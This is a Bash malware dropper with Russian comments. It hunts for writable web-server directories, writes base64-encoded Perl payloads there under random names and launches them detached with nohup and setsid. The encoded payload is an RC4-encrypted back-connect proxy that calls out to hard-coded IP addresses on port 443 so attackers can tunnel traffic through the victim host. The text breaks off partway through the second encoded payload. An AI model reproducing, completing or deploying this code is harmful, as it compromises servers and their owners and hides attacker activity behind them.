Order allow,deny Deny from all #!/bin/bash # ========================================================== # УНИВЕРСАЛЬНЫЙ ДЕПЛОЕР "FIRE-AND-FORGET" # - Поддерживает запуск бинарных файлов и Perl-скриптов # - Находит подходящие директории для развертывания # - Запускает компоненты под случайными именами # - Немедленно завершается # ========================================================== # ========================================================== # НАСТРОЙКИ # ========================================================== PAUSE_SECONDS=2 RANDOM_NAME_LENGTH=10 SEARCH_PATHS=("/var/www/" "/srv/" "/usr/share/nginx/" "/home/") MIN_DIR_DEPTH=4 # ========================================================== echo "[RUNNER] Запускаем сканирование системы на наличие подходящих директорий..." SHUFFLE_CMD="shuf" if ! command -v shuf &> /dev/null; then SHUFFLE_CMD="sort -R"; fi mapfile -t candidate_dirs < <(find "${SEARCH_PATHS[@]}" \ -path '/proc' -prune -o -path '/sys' -prune -o -path '/dev' -prune -o -path '/run' -prune -o \ -mindepth "$MIN_DIR_DEPTH" -type d -writable -executable -print 2>/dev/null | $SHUFFLE_CMD) dir_count=${#candidate_dirs[@]} if [ "$dir_count" -eq 0 ]; then echo "[RUNNER] КРИТИЧЕСКАЯ ОШИБКА: Не найдено ни одной подходящей директории для развертывания. Выход." exit 1 fi echo "[RUNNER] Найдено $dir_count подходящих директорий. Начинаем развертывание компонентов..." echo "---" dir_index=0 first_run=true # --- НАЧАЛО ЗАПУСКА КОМПОНЕНТОВ --- if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 1 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #1 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #1 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 2 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp 